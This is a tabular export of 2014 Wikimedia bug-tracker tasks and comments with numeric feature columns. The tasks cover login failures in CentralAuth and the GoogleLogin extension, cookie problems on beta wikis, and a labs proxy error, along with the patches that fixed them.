+312694,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs",Chris S/Kunal: Any ideas?,,,1408115499,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+312692,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Confirming.
+No idea if this is specific to BetaLabs or a general issue in CentralAuth, hence tentatively setting highest prio and CC'ing Greg and Chris.",,,1408104663,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0
+71007,On login: Fatal exception of type PasswordError on 1.24wmf16,"This doesn't seem to affect all accounts (I am able to login just fine), but some accounts seem to have issues logging in since today on mediawiki.org, and 1.24wmf16 was deployed yesterday. This can't be just a coincidence.
+
+[b596cdd3] 2014-08-01 09:04:31: Fatal exception of type PasswordError
+[979b6eb4] 2014-08-01 12:49:06: Fatal exception of type PasswordError
+
+See URL for those reports.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+**URL**: https://www.mediawiki.org/wiki/Thread:Project:Current_issues/Can%27t_log_in",Unbreak Now!,100.0,1406904540,1406916875.0,PHID-USER-jnta3z3spxto3vbxdngm,False,,False,PHID-TASK-7b2hrpzfm72xvwydlmme,task_description,resolved,True,c3,1,True,False,True,-48,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+310408,On login: Fatal exception of type PasswordError on 1.24wmf16,And thanks for the fix :),,,1406924233,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+310402,On login: Fatal exception of type PasswordError on 1.24wmf16,Ciencia Al Poder: Thank you for quickly reporting this problem in Bugzilla!,,,1406920521,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+310391,On login: Fatal exception of type PasswordError on 1.24wmf16,Deployed into 1.24wmf16,,,1406916875,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+310388,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151126 merged by jenkins-bot:
+Update CentralAuth for bug 69007
+
+https://gerrit.wikimedia.org/r/151126",,,1406916451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+310385,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151126 had a related patch set uploaded by CSteipp:
+Update CentralAuth for bug 69007
+
+https://gerrit.wikimedia.org/r/151126",,,1406916223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+310384,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151120 merged by jenkins-bot:
+Add prefix for old style hashes
+
+https://gerrit.wikimedia.org/r/151120",,,1406915765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+310383,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151120 had a related patch set uploaded by CSteipp:
+Add prefix for old style hashes
+
+https://gerrit.wikimedia.org/r/151120",,,1406915031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+310382,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151118 merged by jenkins-bot:
+Add prefix for old style hashes
+
+https://gerrit.wikimedia.org/r/151118",,,1406914919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+310379,On login: Fatal exception of type PasswordError on 1.24wmf16,"Change 151118 had a related patch set uploaded by CSteipp:
+Add prefix for old style hashes
+
+https://gerrit.wikimedia.org/r/151118",,,1406914260,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+310376,On login: Fatal exception of type PasswordError on 1.24wmf16,"Found it. CentralAuth doesn't do the md5 handling that User::loadFromRow() does,
+
+if ( preg_match( '/^[0-9a-f]{32}$/', $row->user_password ) ) {
+    $row->user_password = "":A:{$this->mId}:{$row->user_password}"";
+}
+
+Patch in just a minute..",,,1406912405,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+310373,On login: Fatal exception of type PasswordError on 1.24wmf16,"2014-08-01 12:49:06 mw1042 mediawikiwiki: [979b6eb4] /w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=MediaWiki   Exception from line 108 of /usr/local/apache/common-local/php-1.24wmf16/includes/password/PasswordFactory.php: Invalid hash given
+#0 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(1532): PasswordFactory->newFromCiphertext('<REDACTED>...')
+#1 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthUser.php(921): CentralAuthUser->matchHash('<REDACTED>', '433457', '<REDACTED>...')
+#2 /usr/local/apache/common-local/php-1.24wmf16/extensions/CentralAuth/CentralAuthPlugin.php(60): CentralAuthUser->attemptPasswordMigration('<REDACTED>')
+#3 /usr/local/apache/common-local/php-1.24wmf16/includes/User.php(3769): CentralAuthPlugin->authenticate('Reinheitsgebot', '<REDACTED>')
+#4 /usr/local/apache/common-local/wmf-config/Bug54847.php(134): User->checkPassword('<REDACTED>')
+#5 [internal function]: {closure}(Object(User), '<REDACTED>', 8, NULL)
+#6 /usr/local/apache/common-local/php-1.24wmf16/includes/Hooks.php(206): call_user_func_array(Object(Closure), Array)
+#7 /usr/local/apache/common-local/php-1.24wmf16/includes/GlobalFunctions.php(4031): Hooks::run('AbortLogin', Array, NULL)
+#8 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(655): wfRunHooks('AbortLogin', Array)
+#9 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(827): LoginForm->authenticateUserData()
+#10 /usr/local/apache/common-local/php-1.24wmf16/includes/specials/SpecialUserlogin.php(230): LoginForm->processLogin()
+#11 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPage.php(382): LoginForm->execute(NULL)
+#12 /usr/local/apache/common-local/php-1.24wmf16/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(NULL)
+#13 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(294): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#14 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(609): MediaWiki->performRequest()
+#15 /usr/local/apache/common-local/php-1.24wmf16/includes/MediaWiki.php(458): MediaWiki->main()
+#16 /usr/local/apache/common-local/php-1.24wmf16/index.php(46): MediaWiki->run()
+#17 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
+#18 {main}",,,1406911370,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-7b2hrpzfm72xvwydlmme,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+70445,Story: EEVSUser downloads report with correct Http Cache Headers,"The public report files on wikimetrics need to be served with the right set of headers for caching and CORS so the dashboard can use them
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**Whiteboard**: u=EEVSUser c=Wikimetrics p=5 s=2014-09-04",Unbreak Now!,100.0,1406130360,1410882012.0,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,False,PHID-TASK-4ttihyaoujzpvuhmzxqg,task_description,resolved,True,c3,1,True,False,True,-50,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+321111,Story: EEVSUser downloads report with correct Http Cache Headers,Changes were merged: https://gerrit.wikimedia.org/r/#/c/158819/,,,1410211814,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-4ttihyaoujzpvuhmzxqg,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+70316,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"**Author:** `mluxen`
+
+**Description:**
+If...
+$wgGLAllowedDomains = array ('domain.tld');
+$wgGLAllowedDomainsStrict = false;
+...is enabled a blank webpage is shown after pressing Login with Google button and succesful Google Login.
+
+The server log shows:
+ Fatal error:  Call to undefined method SpecialGoogleLogin::getHost() in /<WEBROOT>/extensions/GoogleLogin/includes/specials/SpecialGoogleLogin.php on line 154
+
+--------------------------
+**Version**: master
+**Severity**: critical",Unbreak Now!,100.0,1405936800,1406009344.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_description,resolved,True,c3,1,False,False,True,-50,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+315054,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Change 148051 merged by jenkins-bot:
+Fixed fatal undefined SpecialGoogleLogin::getHost
+
+https://gerrit.wikimedia.org/r/148051",,,1406009318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+315044,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Thanks for testing Mike :)
+
+Set back to Patch to review, because the patch is not merged into git repository :)",,,1405949136,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+315036,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"**mluxen** wrote:
+
+After applying the patches I can confirm that they fix the error.",,,1405948661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+315031,Fatal: Call to undefined method SpecialGoogleLogin::getHost after pressing Login with Google button,"Change 148051 had a related patch set uploaded by Florianschmidtwelzow:
+Fixed fatal undefined SpecialGoogleLogin::getHost
+
+https://gerrit.wikimedia.org/r/148051",,,1405943585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2ieotcgyjoscpz3qk7nh,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70163,Login only works if an valid/existing username is set on loginform,"Actually it's only possible to login with Google via the button at the login form, if a valid (~existing) username is given in the login form.
+
+Caused by: https://gerrit.wikimedia.org/r/#/c/143053/6
+
+--------------------------
+**Version**: master
+**Severity**: blocker",Unbreak Now!,100.0,1405601460,1405714084.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_description,resolved,True,c3,1,True,False,True,-50,True,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+319421,Login only works if an valid/existing username is set on loginform,"Change 147114 merged by jenkins-bot:
+Enable Login with Google without to provide an existing username
+
+https://gerrit.wikimedia.org/r/147114",,,1405610379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+319411,Login only works if an valid/existing username is set on loginform,"Change 147114 had a related patch set uploaded by Florianschmidtwelzow:
+Enable Login with Google without to provide an existing username
+
+https://gerrit.wikimedia.org/r/147114",,,1405609713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ifn7zlcevifxfxhk7yyx,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+65981,Login error when attempting to log in on beta-hhvm wikis,"If you try to log in at <http://en.wikipedia.beta-hhvm.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page>, you get: ""Login error: Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again."" This is despite the fact that HHVM-powered wikis map loginwiki to loginwiki.wikimedia.beta-hhvm URLs, and the cookies that it sets appear to have the right domain.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68044",Unbreak Now!,100.0,1397606460,1405446474.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-hi6lksqoylmu6glhe3kv,task_description,resolved,True,c3,1,True,False,True,-64,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1
+295915,Login error when attempting to log in on beta-hhvm wikis,"As of about an hour ago: 
+
+07:55 ori: chrismcmahonbrb: i'll fix it",,,1405440295,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+295911,Login error when attempting to log in on beta-hhvm wikis,"Wow, that's bad.
+
+Is hhvm able to talk to both memcached and redis? Does it respect our setting up redis/memcache as the session storage instead of local files?
+
+Bug 68031 may be related. The captcha answer is stored in session, so if hhvm on labs can't handle mediawiki sessions, then it wouldn't work correctly.
+
+I can't login to deployment-bastion, but if someone can grab the debug log of the a user hitting Special:UserLogin, and then the POST submission of their username and password, that would help track down the issue.",,,1405440059,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+295909,Login error when attempting to log in on beta-hhvm wikis,Bug 68031 might be a dup?,,,1405434115,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+295906,Login error when attempting to log in on beta-hhvm wikis,"This is now also reproducible for all beta.wmflabs.org sites that I have tried:
+
+http://en.wikipedia.beta.wmflabs.org/
+http://de.wikipedia.beta.wmflabs.org/
+http://he.wikipedia.beta.wmflabs.org/",,,1405433112,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-hi6lksqoylmu6glhe3kv,task_subcomment,,True,c3,1,True,,,-51,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+64234,http proxy doesn't work on eqiad,"when I setup wmflabs.org dns for any eqiad instance and try to relay it through https://wikitech.wikimedia.org/wiki/Special:NovaAddress I am getting some bad gateway error
+
+this is likely because new instances can't be resolved from old cluster
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Unbreak Now!,100.0,1393970700,1394716792.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-ycoafngq74gnsddcxplf,task_description,resolved,True,c3,1,True,False,True,-70,True,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+287579,http proxy doesn't work on eqiad,Now it works... NOW. But I wouldn't be surprised if tommorow morning it stopped working again :P,,,1394716792,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+287573,http proxy doesn't work on eqiad,"It remains hard for me to debug this since I can't see the failure here.  Peter, can you please specify which exact URL is producing this failure?  Is it still just http://bots.wmflabs.org/ ?",,,1394715890,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0
+287568,http proxy doesn't work on eqiad,"Maybe it works in midnight only, but now in morning (europe) it doesn't",,,1394697643,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+287564,http proxy doesn't work on eqiad,"When I open the same link I get:
+
+404 Not Found
+nginx/1.5.0
+
+That doesn't look like apache to me",,,1394697613,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+287560,http proxy doesn't work on eqiad,"If I access http://bots.wmflabs.org/~wm-bot/logs as per http://permalink.gmane.org/gmane.science.linguistics.wikipedia.technical/75917, I get:
+
+| Not Found
+
+| The requested URL /~wm-bot/logs was not found on this server.
+
+| Apache/2.2.22 (Ubuntu) Server at bots.wmflabs.org Port 80
+
+This doesn't look like nginx.",,,1394676107,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+287554,http proxy doesn't work on eqiad,"I still do see:
+
+404 Not Found
+nginx/1.5.0
+
